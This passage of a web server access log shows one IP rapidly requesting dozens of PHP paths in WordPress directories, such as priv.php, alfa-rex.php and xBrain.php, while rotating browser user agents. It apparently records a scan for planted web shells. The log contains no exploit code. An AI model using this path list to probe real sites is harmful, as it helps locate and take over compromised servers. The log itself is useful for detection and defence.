"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:58 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:58 -0400] "GET /.well-known/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:58 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:59 -0400] "GET /wp-admin/js/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:59 -0400] "GET /wp-admin/maint/Ysuyo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:59 -0400] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:00 -0400] "GET /wp-includes/css/dist/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:00 -0400] "GET /wp-includes/css/dist/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:52:00 -0400] "GET /wp-content/uploads/2024/11/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:00 -0400] "GET /wp-content/uploads/2024/10/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:00 -0400] "GET /wp-content/upgrade/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:00 -0400] "GET /wp-admin/includes/cicak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:01 -0400] "GET /wp-admin/includes/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:52:02 -0400] "GET /wp-admin/maint/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:02 -0400] "GET /wp-admin/css/colors/blue/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:02 -0400] "GET /wp-admin/css/colors/coffee/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:52:02 -0400] "GET /wp-admin/css/colors/ectoplasm/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:52:03 -0400] "GET /wp-admin/css/colors/light/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:52:03 -0400] "GET /wp-admin/css/colors/midnight/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:03 -0400] "GET /wp-admin/css/colors/modern/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:04 -0400] "GET /wp-admin/css/colors/ocean/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:04 -0400] "GET /wp-admin/images/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:05 -0400] "GET /wp-admin/js/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:05 -0400] "GET /wp-includes/ID3/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:05 -0400] "GET /wp-includes/IXR/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:06 -0400] "GET /wp-includes/PHPMailer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:52:06 -0400] "GET /wp-includes/Text/Diff/Engine/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:07 -0400] "GET /wp-includes/pomo/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:07 -0400] "GET /wp-includes/sitemaps/providers/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:08 -0400] "GET /wp-includes/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:08 -0400] "GET /wp-includes/fonts/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:52:09 -0400] "GET /wp-includes/images/crystal/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:09 -0400] "GET /wp-includes/images/media/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:10 -0400] "GET /wp-includes/images/smilies/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:10 -0400] "GET /wp-includes/js/codemirror/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:10 -0400] "GET /wp-includes/js/plupload/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:52:11 -0400] "GET /files/editprofile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:11 -0400] "GET /images/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:52:11 -0400] "GET /wp-admin/maint/lol.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:12 -0400] "GET /uploads/abstract_login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.38 - - [29/Apr/2025:14:52:12 -0400] "GET /wp-content/uploads/etipat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:52:12 -0400] "GET /wp-includes/widgets/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:13 -0400] "GET /wp-admin/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:13 -0400] "GET /wp-admin/css/colors/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:52:13 -0400] "GET /wp-admin/css/colors/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:14 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:14 -0400] "GET /wp-admin/includes/archiveo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:52:14 -0400] "GET /wp-admin/includes/functionsf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:14 -0400] "GET /wp-admin/includes/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:15 -0400] "GET /wp-admin/maint/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:15 -0400] "GET /wp-admin/maint/singlee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:52:15 -0400] "GET /wp-admin/css/pageb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:15 -0400] "GET /wp-admin/css/colors/blue/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:16 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:52:16 -0400] "GET /wp-admin/css/colors/ectoplasm/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:16 -0400] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:16 -0400] "GET /wp-admin/css/colors/midnight/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:52:17 -0400] "GET /wp-admin/css/colors/modern/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.38 - - [29/Apr/2025:14:52:17 -0400] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:17 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:52:17 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:18 -0400] "GET /wp-admin/js/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.38 - - [29/Apr/2025:14:52:18 -0400] "GET /wp-includes/ID3/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:18 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.38 - - [29/Apr/2025:14:52:19 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:19 -0400] "GET /wp-includes/Text/Diff/Engine/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:19 -0400] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:52:20 -0400] "GET /wp-includes/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:20 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:20 -0400] "GET /wp-includes/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:52:21 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:22 -0400] "GET /wp-includes/images/media/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:22 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:23 -0400] "GET /wp-includes/js/codemirror/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:23 -0400] "GET /wp-admin/css/archivep.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:23 -0400] "GET /wp-admin/css/sidebars.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:24 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:25 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:52:25 -0400] "GET /wp-content/uploads/2024/09/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:26 -0400] "GET /wp-includes/Text/Diff/Renderer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:26 -0400] "GET /wp-admin/js/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:26 -0400] "GET /wp-includes/css/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:52:27 -0400] "GET /wp-includes/images/wlw/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:52:27 -0400] "GET /wp-includes/rest-api-stack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:28 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:28 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:52:28 -0400] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:28 -0400] "GET /wp-includes/PHPMailer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.38 - - [29/Apr/2025:14:52:29 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:52:29 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:29 -0400] "GET /wp-includes/sitemaps/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:52:29 -0400] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:30 -0400] "GET /wp-includes/images/smilies/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:30 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:30 -0400] "GET /wp-content/upgrade/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:31 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:31 -0400] "GET /wp-admin/css/colors/coffee/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:32 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:52:32 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:52:33 -0400] "GET /wp-includes/Text/Diff/Renderer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:33 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:33 -0400] "GET /wp-includes/images/wlw/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:52:33 -0400] "GET /wp-includes/images/wlw/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.38 - - [29/Apr/2025:14:52:34 -0400] "GET /wp-includes/Text/Diff/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:52:34 -0400] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:34 -0400] "GET /wp-admin/includes/rk4.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:52:34 -0400] "GET /wp-admin/includes/connects.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:35 -0400] "GET /wp-admin/includes/eorr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:52:35 -0400] "GET /wp-admin/includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like 